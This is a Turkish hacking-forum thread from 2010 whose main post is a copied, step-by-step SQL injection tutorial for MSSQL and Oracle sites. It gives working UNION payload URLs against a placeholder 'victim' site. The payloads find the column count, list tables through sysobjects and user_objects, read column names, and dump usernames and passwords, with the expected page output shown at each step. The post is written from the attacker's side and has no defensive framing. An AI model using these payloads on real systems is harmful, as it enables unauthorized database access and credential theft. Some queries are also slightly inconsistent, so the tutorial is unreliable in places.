İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

MSSQL ve Oracle İnjection

18-09-2010 02:13
#1
CaLLouS - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
01/2009
Mesajlar:
3.027
Teşekkür (Etti):
191
Teşekkür (Aldı):
1190
Konular:
1076
Ticaret:
(0) %
• MSSQL
Bir firma Sayfasını Ele Alalım. Ürün İsmine Tıklandığı Zaman Ürünün ID’sine Göre Ürün Detayları Çağırılsın.
select * from ürünler where id = “&id&”
Ürünler Tablosu Kolonları ;
ID
Ad
Detay
URL ; http://kurban.com//ürünler.php?id=607
Sonuçlar ;
AirTies RT 105 ADSL Modem | Kablolu Modem
Saldırgan Union İle Sorgu Birleştirip Kolon Sayısını Eşitleyecektir.
http://kurban.com/urun.asp?id=1’ Union Select null–
Dönecek Hata ;
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of
expressions in their target lists.
Kolon Sayısının Eşleşmediğini Söylüyor. Yeni Boş (null) Değer Ekleyerek Saldırgan İşleme Devam Eder. Ta ki Kolon Sayısını Eşleştirene Kadar.
http://kurban.com/urun.asp?id=1’ Union Select null,null,null–
* Kolon Sayısı Eşleştiği Zaman Sayfa Olduğu Gibi Görünür.
Saldırgan Önceki İşlemlerde Olduğu Gibi MSSQL Server Tarafından Kullanılan Genel Değişkenleri Sayfada Yansıtmak İster. (@@version vs.)
Daha Sonra Saldırgan Veri Bulunan Tablo ve Kolon Adlarını sysobjects Tablosundan Çekmeye Çalışır. (sysobjects Tablosunda Veritabanı Ayrıntıları Bulunur.) Saldırgan Kendi Tanımlayacağı Bilgileri Almak İçin xtype=’U’ Parametresini Kullanır.
http://kurban.com/urun.asp?id=1’ Union Select null,name,null From sysobjects where xtype=’U’ –
Sayfa ;
AirTies RT 105 ADSL Modem | Kablolu Modem
Dtproperties
Kullanicilar
Urunler
Saldırgan Kullanicilar Tablosunu Bulmuştur. Kullanıcı Bilgilerini Almak İçin Kullanıcılar Tablosunun Kolonlarını Öğrenmek Zorundadır. Bunu syscolumns Tablosuna Sorgu Göndermeyi Deneyerek Başarmak İster.
http://kurban.com/urun.asp?id=1’ Union Select null,name,null From sysobjects,syscolumns where id=id and name=’Kullanicilar’–
Sayfa ;
AirTies RT 105 ADSL Modem | Kablolu Modem
ID
Email
KullAdi
Sifre
Saldırgan Amacına Ulaşmıştır. Tablo ve Kolon Bilgilerini Almıştır Geriye Kalan Tek Şey Aldığı Tablo ve Kolonlardan Bilgileri Çekmektir.
http://kurban.com/urun.asp?id=1’ Union Select null,kulladi,sifre from Kullanicilar–
Sayfa ;
AirTies RT 105 ADSL Modem | Kablolu Modem
Admin | admin
Ahmet | deneme
deneme | 1234
Not : Tablo Tipleri Eşleşmelidir. Yukarıda Anlatıldı.
• Oracle
Oracle Injection’ları Exploit Etmek MSSQL Gibidir Fakat Sistem Tablo İsimleri Farklıdır. MSSQL Bölümündeki Sayfayı Tekrar Ele Alalım. (DB tipi Oracle!)
Saldırgan Yine Union Atağı Yaparak Kolon Sayısını Eşleştirmeye Çalışacaktır.
http://kurban.com/urun.asp?id=1’ Union Select null–
Eğer Kolon Sayısı Eşleşmediyse ;
[Oracle][ODBC][Ora]ORA-01789: query block has incorrect number of result
columns
Hatasını Verecektir. Eşleştiyse MSSQL’deki Gibi Veriler Sayfada Gösterilecektir.
http://kurban.com/urun.asp?id=1’ Union Select null,null,null–
Sayfa ;
AirTies RT 105 ADSL Modem | Kablolu Modem
Saldırgan MSSQL’de Yaptığı Gibi Sayfada String Tipli Kolonları Arar. (Bunun İçin null Değerleri String Sorguları Gönderir.)
Örn :
http://kurban.com/urun.asp?id=1’ Union Select ‘a’,null,null –
Eğer 1. Kolon String Tipli Değilse Sayfa ;
[Oracle][ODBC][Ora]ORA-01790: expression must have same datatype as
corresponding expression
Hatasını Verir. String Tipliyse ;
Sayfa ;
AirTies RT 105 ADSL Modem | Kablolu Modem
a
Şeklinde Olur.
Saldırgan Kolon Tiplerinide Öğrendikten Sonra Sistem Tablolarından Erişmek İstediği Tablo ve Kolonları Çekmeye Çalışır. (User_objects Tablosu)
http://kurban.com/urun.asp?id=1’ Union Select null,object_name,object_type From user_objects–
Sayfa ;
AirTies RT 105 ADSL Modem | Kablolu ADSL Modem
GETEMP | PROCEDURE
Kullanicilar | TABLE
Urunler | TABLE
PK_Kullanicilar | INDEX
Saldırgan Aradığını Bulmuştur. “Kullanicilar”. Sıra Kolon İsimlerini Almaya Gelmiştir. Kolon İsimleri Oracle Veritabanlarında user_tab_columns Tablosunda Barınmaktadır.
http://kurban.com/urun.asp?id=1’ Union Select null,column_name,null From user_tab_columns where table_name=’Kullanicilar’–
Sayfa ;
AirTies RT 101 ADSL Modem | Kablolu ADSL Modem
ID
Email
KullAdi
Sifre
Saldırgan Bilgileri Aldıktan Sonra Bilgileri, Sorgu Göndererek Sayfada Yansıtmaya Çalışır.
http://kurban.com/urun.asp?id=1’ Union Select null,kulladi,sifre,null From Kullanicilar–
Sayfa ;
AirTies RT 105 ADSL Modem | Kablolu ADSL Modem
Admin | admin
Ahmet | deneme
deneme | 1234

Alıntıdır .

19-09-2010 16:16
#2
Üyelik tarihi:
05/2010
Nereden:
FF
Mesajlar:
1.861
Teşekkür (Etti):
102
Teşekkür (Aldı):
463
Konular:
572
Ticaret:
(0) %
Ne işe yarıyor bu ben pek fazla çözemedim kardesim ?

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı